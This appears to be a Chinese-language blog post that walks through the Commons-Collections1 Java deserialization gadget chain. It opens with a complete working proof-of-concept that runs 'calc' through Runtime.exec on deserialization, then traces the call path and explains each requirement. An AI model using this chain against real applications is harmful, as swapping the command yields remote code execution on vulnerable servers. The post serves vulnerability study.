网上已经很多对Commons-Collections1序列化链条分析的文章了,俗话说站在巨人的肩上才能看的更远,对于整个序列化与反序列化过程,接下来主要叙述我遇到的坑点与重点位置,为了更好的理解,在最后我会对整个过程中难以理解的地方用图片呈现。
环境准备:jdk1.8.0_60 commons-collections-3.2.1.jar
为了更好分析,我直接把代码贴出来,回溯分析
import java.io.*; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.HashedMap; import org.apache.commons.collections.map.TransformedMap; public class serialize { public static void main(String[] args) throws Exception { new serialize().run(); } public void run() throws Exception{ deserialize(serialize(getObject())); } public Object getObject() throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; Transformer transformer = new ChainedTransformer(transformers); Map innermap = new HashedMap(); innermap.put("value", "value"); Map transformedMap = TransformedMap.decorate(innermap, null, transformer); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object cs = constructor.newInstance(Retention.class,transformedMap); return cs; } public byte[] serialize ( final Object obj) throws IOException { ByteArrayOutputStream out = new ByteArrayOutputStream(); ObjectOutputStream objOut = new ObjectOutputStream(out); objOut.writeObject(obj); return out.toByteArray(); } public Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException { ByteArrayInputStream in = new ByteArrayInputStream(serialized); ObjectInputStream objIn = new ObjectInputStream(in); return objIn.readObject(); } }
首先声明Transformer的数组变量,ConstantTransformer在代码中的实现如下:
public ConstantTransformer(Object constantToReturn) { this.iConstant = constantToReturn; } /*官方解答为 public ConstantTransformer(O constantToReturn) Constructor that performs no validation. Use constantTransformer if you want that. Parameters: constantToReturn - the constant to return each time */
可以看到此方法返回构造器,咱们构造为Runtime类,接着调用了InvokerTransformer方法,源代码如下:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; } /*官方解答为 public InvokerTransformer(String methodName, Class<?>[] paramTypes, Object[] args) Constructor that performs no validation. Use invokerTransformer if you want that. Note: from 4.0, the input parameters will be cloned Parameters: methodName - the method to call paramTypes - the constructor parameter types args - the constructor arguments */
调用方法,方法类型与方法参数,结合Runtime类,最终达到调用exec,所以整个数组,转化为常用代码就是
Object a = Runtime.class.getMethod("getRuntime").invoke(null,null); Runtime.class.getMethod("exec",String.class).invoke(a,"calc"); //简化 Runtime.getRuntime().exec("calc");
可能这边大家有个疑问,Transformer数组和简化这个多了invoke方法,直接和简化一样不可以么,这时我就要简单叙述一下Runtime执行命令的顺序,首先它要获取当前环境,也就是getRuntime,然后使用exec执行命令,那这个反射是怎么执行的呢,首先和顺序一样,先要获取当前环境,也就是Object a,这时得到的环境不能直接exec,这是反射本身导致的,有兴趣的小伙伴可以深入研究一下反射的原理,我这就不叙述了,然后再通过Runtime类找到exec方法,反射调用刚刚获取到的环境Object a,加上命令,这样就可以运行了。
接着运行到ChainedTransformer方法,源代码如下:
public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; } /*官方解答为 public ChainedTransformer(Transformer<? super T,? extends T>... transformers) Constructor that performs no validation. Use chainedTransformer if you want that. Parameters: transformers - the transformers to chain, copied, no nulls */
将Transformer数组转化复制给Transformer对象,接着走到TransformedMap.decorate方法中,这边就不展开分析了,作用为给Map对象赋值Transformer的键值。接下来和之前的反射差不多,调用sun.reflect.annotation.AnnotationInvocationHandler类,通过getDeclaredConstructor获取带参构造器并使用newInstance赋值传参。其中有四个疑点,一,目前为止未看到如何到达命令执行,二,为什么对获取的构造器要执行setAccessible操作,三,Map必须要put值么,第四,最后构造器赋值传参为什么是Retention.class,由此正向分析结束。我们从反序列化开始分析调用流程。
既然上述分析到AnnotationInvocationHandler类,那么反序列化肯定从readObject开始,分析此类的readObject方法,为了更好的分析,我们选择逐步分析,首先贴出整段代码
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null; try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); } Map var3 = var2.memberTypes(); Iterator var4 = this.memberValues.entrySet().iterator(); while(var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } } }
其中有两个个重要的点,this.type和this.memberValues,这两个在之前构造器传参的时候带入。首先我们定位到var2=AnnotationType.getInstance(this.type)获取this.type实例化对象,这边随后再讲,继续到Iterator var4 = this.memberValues.entrySet().iterator();可以看到恶意代码经过entrySet()方法,这个方法源于Map接口,实现于抽象类AbstractMapDecorator,重写在AbstractInputCheckedMapDecorator,由下图可知处理后的数值
protected boolean isSetValueChecking() { return true; } public Set entrySet() { return (Set)(this.isSetValueChecking() ? new AbstractInputCheckedMapDecorator.EntrySet(this.map.entrySet(), this) : this.map.entrySet()); } protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) { super(set); this.parent = parent; } public Iterator iterator() { return new AbstractInputCheckedMapDecorator.EntrySetIterator(this.collection.iterator(), this.parent); } protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) { super(iterator); this.parent = parent; }
中间通过赋值到达var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));看着很多,其实主要是为了不报错,我这直接贴出处理结果
之后通过之前对var4分析,到达var5对应的setValue方法,代码如下
private final AbstractInputCheckedMapDecorator parent; public Object setValue(Object value) { value = this.parent.checkSetValue(value); return this.entry.setValue(value); }
可以看到this.parent就是之前var4,var4就是恶意代码的部分,这时会到达TransformedMap.checkSetValue方法,代码如下
protected final Transformer valueTransformer; protected Object checkSetValue(Object value) { return this.valueTransformer.transform(value); }
目前为止已经回溯结束,可能有些人还不明白,我这边再重复一下,到达这里以后,可以发现和valueTransformer就是之前TransformedMap.decorate传入的恶意代码,由ChainedTransformer方法将Transformer数组转化复制给Transformer对象,之后经过ChainedTransformer.transform方法,最终到达InvokerTransformer类中transform方法,代码如下,达到运行命令
public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var4) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6); } } }
回溯完以后,解答一下之前提出的疑问,第一个已经解答。二,执行setAccessible操作是因为AnnotationInvocationHandler类的readObject方法为私有。三,Map必须要put赋值键为value,因为之后var6会获取var5的键值,var7又会获取var6的类,如果var7获取不到,那么无法到达执行点(var2获取到的对象中Member types: {value=class java.lang.annotation.RetentionPolicy},Map var3 = var2.memberTypes(),var7执行get方法时只有value可以获取)。四,首先构造器传参第一个参数必须是class对象,那么符合原生class属性的有Override 、Deprecated 、SuppressWarnings 、Retention 、Documented 、Target 、Inherited 、SafeVarargs 、FunctionalInterface 和Repeatable,具体我就不分析了,我把我找到可以用的贴出来,SuppressWarnings、Target、Repeatable和Retention。